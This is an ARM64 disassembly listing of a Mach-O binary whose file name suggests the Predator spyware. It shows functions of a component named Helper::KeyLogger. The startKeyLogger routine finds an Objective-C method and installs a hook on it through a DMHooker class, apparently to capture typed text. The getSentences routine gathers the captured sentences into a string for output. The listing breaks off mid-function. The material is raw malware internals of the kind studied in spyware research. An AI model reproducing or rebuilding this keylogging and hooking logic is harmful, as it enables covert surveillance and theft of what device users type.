File predator_85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750.macho
Function:
    100010314
    100010314__ZN6Helper9KeyLogger4initEP8NSStringPPc:
    100010314pacibsp
    100010318stp x20, x19, [sp-32]!
    10001031cstp x29, x30, [sp+16]
    100010320add x29, sp, 16
    100010324mov x20, x2
    100010328mov x19, x0
    10001032cadr x0, 0x31a6b
    100010330hint
    100010334bl strdup@plt
    100010338str x0, [x20]
    10001033cadr x1, 0x31a6e
    100010340hint
    100010344movn x0, 1
    100010348bl dlsym@plt
    10001034ccbz x0, 0x10001037c
    100010350xpaci x0
    100010354ldp w8, w9, [x0]
    100010358ubfm x10, x8, 3, 63
    10001035cand x10, x10, 0xffffc
    100010360bfm x10, x8, 29, 30
    100010364add x8, x0, x10, lsl #12
    100010368and x8, x8, -4096
    10001036cubfm x9, x9, 7, 63
    100010370and x9, x9, 32760
    100010374ldr x8, [x8+x9]
    100010378str x8, [x19+72]
    10001037c
    10001037cloc_10001037c:
    10001037cmovz w0, 1
    100010380ldp x29, x30, [sp+16]
    100010384ldp x20, x19, [sp], 32
    100010388retab
    100010314
    10001038c
    10001038c__ZN6Helper9KeyLogger7executeEP8NSStringPPc:
    10001038cpacibsp
    100010390stp x22, x21, [sp-48]!
    100010394stp x20, x19, [sp+16]
    100010398stp x29, x30, [sp+32]
    10001039cadd x29, sp, 32
    1000103a0mov x19, x2
    1000103a4mov x21, x1
    1000103a8mov x20, x0
    1000103acadr x2, 0x350bc
    1000103b0hint
    1000103b4mov x0, x1
    1000103b8bl fn_10003e460
    1000103bccbz w0, 0x1000103e8
    1000103c0mov x0, x20
    1000103c4mov x1, x19
    1000103c8ldp x29, x30, [sp+32]
    1000103ccldp x20, x19, [sp+16]
    1000103d0ldp x22, x21, [sp], 48
    1000103d4autibsp
    1000103d8eor x16, x30, x30, lsl #1
    1000103dctbz x16, 62, 0x1000103e4
    1000103e0brk 50289
    1000103e4
    1000103e4loc_1000103e4:
    1000103e4b 0x100010488
    1000103e8
    1000103e8loc_1000103e8:
    1000103e8adr x2, 0x350a0
    1000103echint
    1000103f0mov x0, x21
    1000103f4bl fn_10003e460
    1000103f8cbz w0, 0x100010424
    1000103fcmovz w21, 1
    100010400mov x0, x20
    100010404mov x1, x19
    100010408movz w2, 1
    10001040cbl __ZN6Helper9KeyLogger12getSentencesEPPcb
    100010410mov x0, x21
    100010414ldp x29, x30, [sp+32]
    100010418ldp x20, x19, [sp+16]
    10001041cldp x22, x21, [sp], 48
    100010420retab
    100010424
    100010424loc_100010424:
    100010424adr x2, 0x35084
    100010428hint
    10001042cmov x0, x21
    100010430bl fn_10003e460
    100010434cbz w0, 0x100010460
    100010438mov x0, x20
    10001043cmov x1, x19
    100010440movz w2, 0
    100010444bl __ZN6Helper9KeyLogger12getSentencesEPPcb
    100010448movz w21, 1
    10001044cmov x0, x21
    100010450ldp x29, x30, [sp+32]
    100010454ldp x20, x19, [sp+16]
    100010458ldp x22, x21, [sp], 48
    10001045cretab
    100010460
    100010460loc_100010460:
    100010460adr x0, 0x31993
    100010464hint
    100010468bl strdup@plt
    10001046cmovz w21, 0
    100010470str x0, [x19]
    100010474mov x0, x21
    100010478ldp x29, x30, [sp+32]
    10001047cldp x20, x19, [sp+16]
    100010480ldp x22, x21, [sp], 48
    100010484retab
    10001038c
    100010488
    100010488__ZN6Helper9KeyLogger14startKeyLoggerEPPc:
    100010488pacibsp
    10001048csub sp, sp, 80
    100010490stp x22, x21, [sp+32]
    100010494stp x20, x19, [sp+48]
    100010498stp x29, x30, [sp+64]
    10001049cadd x29, sp, 64
    1000104a0mov x19, x1
    1000104a4mov x20, x0
    1000104a8adr x0, 0x3196c
    1000104achint
    1000104b0adr x1, 0x319ac
    1000104b4hint
    1000104b8adr x2, 0x319b4
    1000104bchint
    1000104c0bl __ZN5Utils14findObjcMethodEPKcS1_S1_
    1000104c4cbz x0, 0x100010580
    1000104c8mov x21, x0
    1000104ccldr x0, [x20+16]
    1000104d0adr x1, 0x319b7
    1000104d4hint
    1000104d8bl __ZN6Helper13HookerFactory9getHookerEPKc
    1000104dcstr x0, [x20+80]
    1000104e0cbz x0, 0x100010580
    1000104e4ldr x1, [x20+72]
    1000104e8add x2, x20, 64
    1000104ecmovz w3, 8
    1000104f0bl __ZNK8DMHooker10readLengthEyyy
    1000104f4ldr x0, [x20+80]
    1000104f8xpaci x21
    1000104fcadd x22, sp, 0
    100010500adr x16, 0x34ae0
    100010504hint
    100010508add x16, x16, 16
    10001050cmov x17, x22
    100010510movk x17, 0x530f000000000000
    100010514pacda x16, x17
    100010518stp x16, x20, [sp]
    10001051cstr x22, [sp+24]
    100010520add x2, sp, 0
    100010524mov x1, x21
    100010528movz w3, 0
    10001052cbl __ZN8DMHooker11hookAddressEyONSt3__18functionIFNS_10HookReturnEP27__darwin_arm_thread_state64EEEb
    100010530mov x20, x0
    100010534ldr x0, [sp+24]
    100010538subs xzr, x22, x0
    10001053cb.eq 0x100010594
    100010540cbz x0, 0x100010568
    100010544ldr x16, [x0]
    100010548mov x17, x0
    10001054cmovk x17, 0x530f000000000000
    100010550autda x16, x17
    100010554ldr x8, [x16+40]!
    100010558mov x9, x16
    10001055cmov x17, x9
    100010560movk x17, 0x595d000000000000
    100010564blraa x8, x17
    100010568
    100010568loc_100010568:
    100010568cbz x20, 0x1000105bc
    10001056c
    10001056cloc_10001056c:
    10001056cadr x0, 0x3175e
    100010570hint
    100010574bl strdup@plt
    100010578str x0, [x19]
    10001057cmovz w0, 1
    100010580
    100010580loc_100010580:
    100010580ldp x29, x30, [sp+64]
    100010584ldp x20, x19, [sp+48]
    100010588ldp x22, x21, [sp+32]
    10001058cadd sp, sp, 80
    100010590retab
    100010594
    100010594loc_100010594:
    100010594ldr x16, [x0]
    100010598mov x17, x0
    10001059cmovk x17, 0x530f000000000000
    1000105a0autda x16, x17
    1000105a4ldr x8, [x16+32]!
    1000105a8mov x9, x16
    1000105acmov x17, x9
    1000105b0movk x17, 0x5a7d000000000000
    1000105b4blraa x8, x17
    1000105b8cbnz x20, 0x10001056c
    1000105bc
    1000105bcloc_1000105bc:
    1000105bcmovz w0, 0
    1000105c0ldp x29, x30, [sp+64]
    1000105c4ldp x20, x19, [sp+48]
    1000105c8ldp x22, x21, [sp+32]
    1000105ccadd sp, sp, 80
    1000105d0retab
    1000105d4mov x19, x0
    1000105d8add x0, sp, 0
    1000105dcbl fn_10000eb24
    1000105e0mov x0, x19
    1000105e4bl _Unwind_Resume@plt
    100010488
    1000105e8
    1000105e8__ZN6Helper9KeyLogger12getSentencesEPPcb:
    1000105e8pacibsp
    1000105ecsub sp, sp, 208
    1000105f0stp x28, x27, [sp+112]
    1000105f4stp x26, x25, [sp+128]
    1000105f8stp x24, x23, [sp+144]
    1000105fcstp x22, x21, [sp+160]
    100010600stp x20, x19, [sp+176]
    100010604stp x29, x30, [sp+192]
    100010608add x29, sp, 192
    10001060cstp x1, x0, [sp+8]
    100010610movz w8, 1
    100010614strb w8, [sp+111]
    100010618movz w8, 123
    10001061cstrh w8, [sp+88]
    100010620ldr x20, [x0+40]
    100010624cbz x20, 0x100010aa8
    100010628add x8, sp, 40
    10001062corr x8, x8, 1
    100010630str x8, [sp+24]
    100010634movz w8, 1
    100010638
    100010638loc_100010638:
    100010638tbnz w8, 0, 0x100010650
    10001063cadd x0, sp, 88
    100010640adr x1, 0x317c5
    100010644hint
    100010648movz w2, 1
    10001064cbl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010650
    100010650loc_100010650:
    100010650ldrb w8, [x20+39]
    100010654sbfm w21, w8, 0, 7
    100010658str x20, [sp+32]
    10001065cldr x9, [x20+24]
    100010660subs wzr, w21, 0
    100010664csel x25, x9, x8, lt
    100010668add x22, x25, 1
    10001066cmovn x8, 16
    100010670movk x8, 0x7fff000000000000
    100010674subs xzr, x22, x8
    100010678b.hi 0x100010b38
    10001067csubs xzr, x22, 23
    100010680b.hs 0x1000106a4
    100010684stp xzr, xzr, [sp+48]
    100010688str xzr, [sp+40]
    10001068cstrb w22, [sp+63]
    100010690ldr x19, [sp+24]
    100010694movz w8, 34
    100010698strb w8, [sp+40]
    10001069ccbnz x25, 0x1000106cc
    1000106a0b 0x1000106e8
    1000106a4
    1000106a4loc_1000106a4:
    1000106a4add x8, x25, 17
    1000106a8and x20, x8, -16
    1000106acmov x0, x20
    1000106b0bl _Znwm@plt
    1000106b4mov x19, x0
    1000106b8orr x8, x20, 0x8000000000000000
    1000106bcstp x22, x8, [sp+48]
    1000106c0str x0, [sp+40]
    1000106c4movz w8, 34
    1000106c8strb w8, [x19], 1
    1000106cc
    1000106ccloc_1000106cc:
    1000106ccldr x8, [sp+32]
    1000106d0ldr x9, [x8+16]!
    1000106d4subs wzr, w21, 0
    1000106d8csel x1, x9, x8, lt
    1000106dcmov x0, x19
    1000106e0mov x2, x25
    1000106e4bl memmove@plt
    1000106e8
    1000106e8loc_1000106e8:
    1000106e8strb wzr, [x19+x25]
    1000106ecadd x0, sp, 40
    1000106f0adr x1, 0x31717
    1000106f4hint
    1000106f8movz w2, 2
    1000106fcbl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010700ldr q0, [x0]
    100010704ldr x8, [x0+16]
    100010708str x8, [sp+80]
    10001070cstr q0, [sp+64]
    100010710stp xzr, xzr, [x0+8]
    100010714str xzr, [x0]
    100010718ldrb w8, [sp+87]
    10001071csbfm w9, w8, 0, 7
    100010720ldp x10, x11, [sp+64]
    100010724subs wzr, w9, 0
    100010728add x9, sp, 64
    10001072ccsel x1, x10, x9, lt
    100010730csel x2, x11, x8, lt
    100010734add x0, sp, 88
    100010738bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    10001073cldr x20, [sp+32]
    100010740ldrsb w8, [sp+87]
    100010744tbnz w8, 31, 0x100010a8c
    100010748ldrsb w8, [sp+63]
    10001074ctbnz w8, 31, 0x100010a9c
    100010750
    100010750loc_100010750:
    100010750add x0, sp, 88
    100010754adr x1, 0x316b6
    100010758hint
    10001075cmovz w2, 3
    100010760bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010764ldp x8, x9, [x20+40]
    100010768subs xzr, x9, x8
    10001076cb.eq 0x100010a68
    100010770movz x23, 0
    100010774movz x22, 0
    100010778b 0x1000107bc
    10001077c
    10001077cloc_10001077c:
    10001077corr x8, x19, 0x8000000000000000
    100010780stp x21, x8, [sp+96]
    100010784str x20, [sp+88]
    100010788add x8, x20, x21
    10001078c
    10001078cloc_10001078c:
    10001078cldr x20, [sp+32]
    100010790
    100010790loc_100010790:
    100010790strb wzr, [x8]
    100010794
    100010794loc_100010794:
    100010794add x22, x22, 1
    100010798ldp x8, x9, [x20+40]
    10001079csub x9, x9, x8
    1000107a0sbfm x9, x9, 3, 63
    1000107a4orr x10, xzr, 0xaaaaaaaaaaaaaaaa
    1000107a8movk x10, 43691
    1000107acmadd x9, x9, x10, xzr
    1000107b0add x23, x23, 24
    1000107b4subs xzr, x22, x9
    1000107b8b.hs 0x100010a68
    1000107bc
    1000107bcloc_1000107bc:
    1000107bcadd x10, x8, x23
    1000107c0ldrsb w11, [x10+23]
    1000107c4and x9, x11, 255
    1000107c8tbnz w11, 31, 0x1000107e8
    1000107ccsubs wzr, w9, 1
    1000107d0b.ne 0x1000108e8
    1000107d4add x10, x8, x23
    1000107d8ldrb w10, [x10]
    1000107dcsubs wzr, w10, 34
    1000107e0b.eq 0x100010804
    1000107e4b 0x1000108e8
    1000107e8
    1000107e8loc_1000107e8:
    1000107e8ldr x10, [x10+8]
    1000107ecsubs xzr, x10, 1
    1000107f0b.ne 0x1000108e8
    1000107f4ldr x10, [x8+x23]
    1000107f8ldrb w10, [x10]
    1000107fcsubs wzr, w10, 34
    100010800b.ne 0x1000108e8
    100010804
    100010804loc_100010804:
    100010804ldrb w9, [sp+111]
    100010808sbfm w8, w9, 0, 7
    10001080cldp x11, x10, [sp+96]
    100010810and x10, x10, 0x7fffffffffffffff
    100010814sub x10, x10, 1
    100010818subs wzr, w8, 0
    10001081cmovz w12, 22
    100010820csel x24, x10, x12, lt
    100010824csel x25, x11, x9, lt
    100010828sub x9, x24, x25
    10001082csubs xzr, x9, 2
    100010830b.hs 0x100010a1c
    100010834add x21, x25, 2
    100010838sub x9, x21, x24
    10001083corn x10, xzr, x24
    100010840movn x11, 16
    100010844movk x11, 0x7fff000000000000
    100010848add x10, x10, x11
    10001084csubs xzr, x10, x9
    100010850b.lo 0x100010b2c
    100010854ldr x9, [sp+88]
    100010858subs wzr, w8, 0
    10001085cadd x8, sp, 88
    100010860csel x19, x9, x8, lt
    100010864ubfm x8, x24, 63, 62
    100010868subs xzr, x21, x8
    10001086ccsel x8, x21, x8, hi
    100010870add x9, x8, 16
    100010874and x9, x9, -16
    100010878subs xzr, x8, 23
    10001087cmovz w8, 23
    100010880csel x8, x8, x9, lo
    100010884movn x9, 24
    100010888movk x9, 0x3fff000000000000
    10001088csubs xzr, x24, x9
    100010890movn x9, 16
    100010894movk x9, 0x7fff000000000000
    100010898csel x20, x9, x8, hs
    10001089cmov x0, x20
    1000108a0bl _Znwm@plt
    1000108a4mov x26, x0
    1000108a8cbz x25, 0x1000108bc
    1000108acmov x0, x26
    1000108b0mov x1, x19
    1000108b4mov x2, x25
    1000108b8bl memmove@plt
    1000108bc
    1000108bcloc_1000108bc:
    1000108bcmovz w8, 8796
    1000108c0strh w8, [x26+x25]
    1000108c4subs xzr, x24, 22
    1000108c8b.eq 0x1000108d4
    1000108ccmov x0, x19
    1000108d0bl _ZdlPv@plt
    1000108d4
    1000108d4loc_1000108d4:
    1000108d4orr x8, x20, 0x8000000000000000
    1000108d8stp x21, x8, [sp+96]
    1000108dcstr x26, [sp+88]
    1000108e0add x8, x26, x21
    1000108e4b 0x10001078c
    1000108e8
    1000108e8loc_1000108e8:
    1000108e8sbfm w10, w9, 0, 7
    1000108ecadd x8, x8, x23
    1000108f0ldp x11, x12, [x8]
    1000108f4subs wzr, w10, 0
    1000108f8csel x26, x11, x8, lt
    1000108fccsel x25, x12, x9, lt
    100010900ldrb w9, [sp+111]
    100010904sbfm w8, w9, 0, 7
    100010908ldp x11, x10, [sp+96]
    10001090cand x10, x10, 0x7fffffffffffffff
    100010910sub x10, x10, 1
    100010914subs wzr, w8, 0
    100010918movz w12, 22
    10001091ccsel x24, x10, x12, lt
    100010920csel x27, x11, x9, lt
    100010924sub x9, x24, x27
    100010928subs xzr, x9, x25
    10001092cb.hs 0x1000109dc
    100010930add x21, x27, x25
    100010934sub x9, x21, x24
    100010938orn x10, xzr, x24
    10001093cmovn x11, 16
    100010940movk x11, 0x7fff000000000000
    100010944add x10, x10, x11
    100010948subs xzr, x10, x9
    10001094cb.lo 0x100010b2c
    100010950ldr x9, [sp+88]
    100010954subs wzr, w8, 0
    100010958add x8, sp, 88
    10001095ccsel x28, x9, x8, lt
    100010960movn x19, 16
    100010964movk x19, 0x7fff000000000000
    100010968movn x8, 24
    10001096cmovk x8, 0x3fff000000000000
    100010970subs xzr, x24, x8
    100010974b.hs 0x100010998
    100010978ubfm x8, x24, 63, 62
    10001097csubs xzr, x21, x8
    100010980csel x8, x21, x8, hi
    100010984add x9, x8, 16
    100010988and x9, x9, -16
    10001098csubs xzr, x8, 23
    100010990movz w8, 23
    100010994csel x19, x8, x9, lo
    100010998
    100010998loc_100010998:
    100010998mov x0, x19
    10001099cbl _Znwm@plt
    1000109a0mov x20, x0
    1000109a4cbz x27, 0x1000109b8
    1000109a8mov x0, x20
    1000109acmov x1, x28
    1000109b0mov x2, x27
    1000109b4bl memmove@plt
    1000109b8
    1000109b8loc_1000109b8:
    1000109b8add x0, x20, x27
    1000109bcmov x1, x26
    1000109c0mov x2, x25
    1000109c4bl memcpy@plt
    1000109c8subs xzr, x24, 22
    1000109ccb.eq 0x10001077c
    1000109d0mov x0, x28
    1000109d4bl _ZdlPv@plt
    1000109d8b 0x10001077c
    1000109dc
    1000109dcloc_1000109dc:
    1000109dccbz x25, 0x100010794
    1000109e0ldr x9, [sp+88]
    1000109e4subs wzr, w8, 0
    1000109e8add x8, sp, 88
    1000109eccsel x19, x9, x8, lt
    1000109f0add x0, x19, x27
    1000109f4mov x1, x26
    1000109f8mov x2, x25
    1000109fcbl memmove@plt
    100010a00add x8, x27, x25
    100010a04ldrsb w9, [sp+111]
    100010a08tbnz w9, 31, 0x100010a50
    100010a0cand w9, w8, 127
    100010a10strb w9, [sp+111]
    100010a14add x8, x19, x8
    100010a18b 0x100010790
    100010a1c
    100010a1cloc_100010a1c:
    100010a1cldr x9, [sp+88]
    100010a20subs wzr, w8, 0
    100010a24add x8, sp, 88
    100010a28csel x8, x9, x8, lt
    100010a2cmovz w9, 8796
    100010a30strh w9, [x8+x25]
    100010a34add x9, x25, 2
    100010a38ldrsb w10, [sp+111]
    100010a3ctbnz w10, 31, 0x100010a5c
    100010a40and w10, w9, 127
    100010a44strb w10, [sp+111]
    100010a48add x8, x8, x9
    100010a4cb 0x100010790
    100010a50
    100010a50loc_100010a50:
    100010a50str x8, [sp+96]
    100010a54add x8, x19, x8
    100010a58b 0x100010790
    100010a5c
    100010a5cloc_100010a5c:
    100010a5cstr x9, [sp+96]
    100010a60add x8, x8, x9
    100010a64b 0x100010790
    100010a68
    100010a68loc_100010a68:
    100010a68add x0, sp, 88
    100010a6cadr x1, 0x313a2
    100010a70hint
    100010a74movz w2, 3
    100010a78bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010a7cmovz w8, 0
    100010a80ldr x20, [x20]
    100010a84cbnz x20, 0x100010638
    100010a88b 0x100010aa8
    100010a8c
    100010a8cloc_100010a8c:
    100010a8cldr x0, [sp+64]
    100010a90bl _ZdlPv@plt
    100010a94ldrsb w8, [sp+63]
    100010a98tbz w8, 31, 0x100010750
    100010a9c
    100010a9cloc_100010a9c:
    100010a9cldr x0, [sp+40]
    100010aa0bl _ZdlPv@plt
    100010aa4b 0x100010750
    100010aa8
    100010aa8loc_100010aa8:
    100010aa8adr x1, 0x3136a
    100010aachint
    100010ab0add x0, sp, 88
    100010ab4movz w2, 1
    100010ab8bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010abcldr x8, [sp+16]
    100010ac0add x0, x8, 24
    100010ac4movz x1, 0
    100010ac8movz x2, 0
    100010accbl fn_100010dc8
    100010ad0ldrsb w8, [sp+111]
    100010ad4tbnz w8, 31, 0x100010aec
    100010ad8add x0, sp, 88
    100010adcbl strdup@plt
    100010ae0ldr x8, [sp+8]
    100010ae4str x0, [x8]
    100010ae8b 0x100010b08
    100010aec
    100010aecloc_100010aec:
    100010aecldr x19, [sp+88]
    100010af0mov x0, x19
    100010af4bl strdup@plt
    100010af8ldr x8, [sp+8]
    100010afcstr x0, [x8]
    100010b00mov x0, x19
    100010b04bl _ZdlPv@plt
    100010b08
    100010b08loc_100010b08:
    100010b08movz w0, 1
    100010b0cldp x29, x30, [sp+192]
    100010b10ldp x20, x19, [sp+176]
    100010b14ldp x22, x21, [sp+160]
    100010b18ldp x24, x23, [sp+144]
    100010b1cldp x26, x25, [sp+128]
    100010b20ldp x28, x27, [sp+112]
    100010b24add sp, sp, 208
    100010b28retab
    100010b2c
    100010b2cloc_100010b2c:
    100010b2cadd x0, sp, 88
    100010b30bl fn_1000089dc
    100010b34b 0x100010b40
    100010b38
    100010b38loc_100010b38:
    100010b38add x0, sp, 40
    100010b3cbl fn_1000089dc
    100010b40
    100010b40loc_100010b40:
    100010b40brk 1
    100010b44b 0x100010bb0
    100010b48b 0x100010bb0
    100010b4cmov x19, x0
    100010b50ldrsb w8, [sp+63]
    100010b54tbz w8, 31, 0x100010b70
    100010b58b 0x100010b90
    100010b5cmov x19, x0
    100010b60ldrsb w8, [sp+87]
    100010b64tbnz w8, 31, 0x100010b80
    100010b68ldrsb w8, [sp+63]
    100010b6ctbnz w8, 31, 0x100010b90
    100010b70
    100010b70loc_100010b70:
    100010b70ldrsb w8, [sp+111]
    100010b74tbnz w8, 31, 0x100010bbc
    100010b78
    100010b78loc_100010b78:
    100010b78mov x0, x19
    100010b7cbl _Unwind_Resume@plt
    100010b80
    100010b80loc_100010b80:
    100010b80ldr x0, [sp+64]
    100010b84bl _ZdlPv@plt
    100010b88ldrsb w8, [sp+63]
    100010b8ctbz w8, 31, 0x100010b70
    100010b90
    100010b90loc_100010b90:
    100010b90ldr x0, [sp+40]
    100010b94bl _ZdlPv@plt
    100010b98ldrsb w8, [sp+111]
    100010b9ctbz w8, 31, 0x100010b78
    100010ba0b 0x100010bbc
    100010ba4b 0x100010bb0
    100010ba8b 0x100010bb0
    100010bacb 0x100010bb0
    100010bb0
    100010bb0loc_100010bb0:
    100010bb0mov x19, x0
    100010bb4ldrsb w8, [sp+111]
    100010bb8tbz w8, 31, 0x100010b78
    100010bbc
    100010bbcloc_100010bbc:
    100010bbcldr x0, [sp+88]
    100010bc0bl _ZdlPv@plt
    100010bc4mov x0, x19
    100010bc8bl _Unwind_Resume@plt
    1000105e8
    100010bcc
    100010bccfn_100010bcc:
    100010bccpacibsp
    100010bd0stp x20, x19, [sp-32]!
    100010bd4stp x29, x30, [sp+16]
    100010bd8add x29, sp, 16
    100010bdcmov x19, x0
    100010be0adr x16, 0x343b8
    100010be4hint
    100010be8add x16, x16, 16
    100010becmov x17, x0
    100010bf0movk x17, 0x6ae1000000000000
    100010bf4pacda x16, x17
    100010bf8str x16, [x0], 24
    100010bfcbl fn_100010c64
    100010c00mov x0, x19
    100010c04ldp x29, x30, [sp+16]
    100010c08ldp x20, x19, [sp], 32
    100010c0cretab
    100010bcc
    100010c10
    100010c10fn_100010c10:
    100010c10pacibsp
    100010c14stp x20, x19, [sp-32]!
    100010c18stp x29, x30, [sp+16]
    100010c1cadd x29, sp, 16
    100010c20mov x19, x0
    100010c24adr x16, 0x34374
    100010c28hint
    100010c2cadd x16, x16, 16
    100010c30mov x17, x0
    100010c34movk x17, 0x6ae1000000000000
    100010c38pacda x16, x17
    100010c3cstr x16, [x0], 24
    100010c40bl fn_100010c64
    100010c44mov x0, x19
    100010c48ldp x29, x30, [sp+16]
    100010c4cldp x20, x19, [sp], 32
    100010c50autibsp
    100010c54eor x16, x30, x30, lsl #1
    100010c58tbz x16, 62, 0x100010c60
    100010c5cbrk 50289
    100010c60
    100010c60loc_100010c60:
    100010c60b 0x10003d990
    100010c10
    100010c64
    100010c64fn_100010c64:
    100010c64pacibsp
    100010c68stp x24, x23, [sp-64]!
    100010c6cstp x22, x21, [sp+16]
    100010c70stp x20, x19, [sp+32]
    100010c74stp x29, x30, [sp+48]
    100010c78add x29, sp, 48
    100010c7cmov x19, x0
    100010c80ldr x20, [x0+16]
    100010c84cbnz x20, 0x100010cc0
    100010c88
    100010c88loc_100010c88:
    100010c88ldr x0, [x19]
    100010c8cstr xzr, [x19]
    100010c90cbz x0, 0x100010c98
    100010c94bl _ZdlPv@plt
    100010c98
    100010c98loc_100010c98:
    100010c98mov x0, x19
    100010c9cldp x29, x30, [sp+48]
    100010ca0ldp x20, x19, [sp+32]
    100010ca4ldp x22, x21, [sp+16]
    100010ca8ldp x24, x23, [sp], 64
    100010cacretab
    100010cb0
    100010cb0loc_100010cb0:
    100010cb0mov x0, x20
    100010cb4bl _ZdlPv@plt
    100010cb8mov x20, x21
    100010cbccbz x21, 0x100010c88
    100010cc0
    100010cc0loc_100010cc0:
    100010cc0ldr x21, [x20]
    100010cc4ldr x22, [x20+40]
    100010cc8cbz x22, 0x100010d10
    100010cccldr x8, [x20+48]
    100010cd0subs xzr, x8, x22
    100010cd4b.ne 0x100010cec
    100010cd8mov x0, x22
    100010cdcb 0x100010d08
    100010ce0
    100010ce0loc_100010ce0:
    100010ce0mov x8, x23
    100010ce4subs xzr, x23, x22
    100010ce8b.eq 0x100010d04
    100010cec
    100010cecloc_100010cec:
    100010cecsub x23, x8, 24
    100010cf0ldursb w9, [x8-1]
    100010cf4tbz w9, 31, 0x100010ce0
    100010cf8ldur x0, [x8-24]
    100010cfcbl _ZdlPv@plt
    100010d00b 0x100010ce0
    100010d04
    100010d04loc_100010d04:
    100010d04ldr x0, [x20+40]
    100010d08
    100010d08loc_100010d08:
    100010d08str x22, [x20+48]
    100010d0cbl _ZdlPv@plt
    100010d10
    100010d10loc_100010d10:
    100010d10ldrsb w8, [x20+39]
    100010d14tbz w8, 31, 0x100010cb0
    100010d18ldr x0, [x20+16]
    100010d1cbl _ZdlPv@plt
    100010d20b 0x100010cb0
    100010c64
    100010d24
    100010d24fn_100010d24:
    100010d24pacibsp
    100010d28stp x22, x21, [sp-48]!
    100010d2cstp x20, x19, [sp+16]
    100010d30stp x29, x30, [sp+32]
    100010d34add x29, sp, 32
    100010d38cbz x1, 0x100010db8
    100010d3cmov x19, x1
    100010d40b 0x100010d54
    100010d44
    100010d44loc_100010d44:
    100010d44mov x0, x19
    100010d48bl _ZdlPv@plt
    100010d4cmov x19, x20
    100010d50cbz x20, 0x100010db8
    100010d54
    100010d54loc_100010d54:
    100010d54ldr x20, [x19]
    100010d58ldr x21, [x19+40]
    100010d5ccbz x21, 0x100010da4
    100010d60ldr x8, [x19+48]
    100010d64subs xzr, x8, x21
    100010d68b.ne 0x100010d80
    100010d6cmov x0, x21
    100010d70b 0x100010d9c
    100010d74
    100010d74loc_100010d74:
    100010d74mov x8, x22
    100010d78subs xzr, x22, x21
    100010d7cb.eq 0x100010d98
    100010d80
    100010d80loc_100010d80:
    100010d80sub x22, x8, 24
    100010d84ldursb w9, [x8-1]
    100010d88tbz w9, 31, 0x100010d74
    100010d8cldur x0, [x8-24]
    100010d90bl _ZdlPv@plt
    100010d94b 0x100010d74
    100010d98
    100010d98loc_100010d98:
    100010d98ldr x0, [x19+40]
    100010d9c
    100010d9cloc_100010d9c:
    100010d9cstr x21, [x19+48]
    100010da0bl _ZdlPv@plt
    100010da4
    100010da4loc_100010da4:
    100010da4ldrsb w8, [x19+39]
    100010da8tbz w8, 31, 0x100010d44
    100010dacldr x0, [x19+16]
    100010db0bl _ZdlPv@plt
    100010db4b 0x100010d44
    100010db8
    100010db8loc_100010db8:
    100010db8ldp x29, x30, [sp+32]
    100010dbcldp x20, x19, [sp+16]
    100010dc0ldp x22, x21, [sp], 48
    100010dc4retab
    100010d24
    100010dc8
    100010dc8fn_100010dc8:
    100010dc8pacibsp
    100010dccstp x26, x25, [sp-80]!
    100010dd0stp x24, x23, [sp+16]
    100010dd4stp x22, x21, [sp+32]
    100010dd8stp x20, x19, [sp+48]
    100010ddcstp x29, x30, [sp+64]
    100010de0add x29, sp, 64
    100010de4mov x20, x2
    100010de8mov x21, x1
    100010decmov x19, x0
    100010df0ldr x8, [x0+8]
    100010df4cbz x8, 0x100010e9c
    100010df8movz x9, 0
    100010dfc
    100010dfcloc_100010dfc:
    100010dfcldr x10, [x19]
    100010e00str xzr, [x10+3*x9]
    100010e04add x9, x9, 1
    100010e08subs xzr, x8, x9
    100010e0cb.ne 0x100010dfc
    100010e10ldr x23, [x19+16]
    100010e14stp xzr, xzr, [x19+16]
    100010e18subs xzr, x23, 0
    100010e1cccmp x21, x20, 4, ne
    100010e20b.ne 0x100010e30
    100010e24mov x22, x23
    100010e28mov x24, x21
    100010e2cb 0x100010e7c
    100010e30
    100010e30loc_100010e30:
    100010e30add x0, x23, 16
    100010e34mov x1, x21
    100010e38bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSERKS5_@plt
    100010e3cadd x0, x23, 40
    100010e40add x25, x21, 24
    100010e44subs xzr, x25, x0
    100010e48b.eq 0x100010e54
    100010e4cldp x1, x2, [x21+24]
    100010e50bl fn_1000110b4
    100010e54
    100010e54loc_100010e54:
    100010e54ldr x22, [x23]
    100010e58mov x0, x19
    100010e5cmov x1, x23
    100010e60bl fn_100010f60
    100010e64add x24, x21, 48
    100010e68cbz x22, 0x100010e7c
    100010e6cadd x21, x25, 24
    100010e70mov x23, x22
    100010e74subs xzr, x21, x20
    100010e78b.ne 0x100010e30
    100010e7c
    100010e7cloc_100010e7c:
    100010e7ccbnz x22, 0x100010ecc
    100010e80
    100010e80loc_100010e80:
    100010e80mov x21, x24
    100010e84b 0x100010e9c
    100010e88
    100010e88loc_100010e88:
    100010e88mov x0, x19
    100010e8cmov x1, x21
    100010e90mov x2, x21
    100010e94bl fn_100011c20
    100010e98add x21, x21, 48
    100010e9c
    100010e9cloc_100010e9c:
    100010e9csubs xzr, x21, x20
    100010ea0b.ne 0x100010e88
    100010ea4ldp x29, x30, [sp+64]
    100010ea8ldp x20, x19, [sp+48]
    100010eacldp x22, x21, [sp+32]
    100010eb0ldp x24, x23, [sp+16]
    100010eb4ldp x26, x25, [sp], 80
    100010eb8retab
    100010ebc
    100010ebcloc_100010ebc:
    100010ebcmov x0, x22
    100010ec0bl _ZdlPv@plt
    100010ec4mov x22, x21
    100010ec8cbz x21, 0x100010e80
    100010ecc
    100010eccloc_100010ecc:
    100010eccldr x21, [x22]
    100010ed0ldr x23, [x22+40]
    100010ed4cbz x23, 0x100010f1c
    100010ed8ldr x8, [x22+48]
    100010edcsubs xzr, x8, x23
    100010ee0b.ne 0x100010ef8
    100010ee4mov x0, x23
    100010ee8b 0x100010f14
    100010eec
    100010eecloc_100010eec:
    100010eecmov x8, x25
    100010ef0subs xzr, x25, x23
    100010ef4b.eq 0x100010f10
    100010ef8
    100010ef8loc_100010ef8:
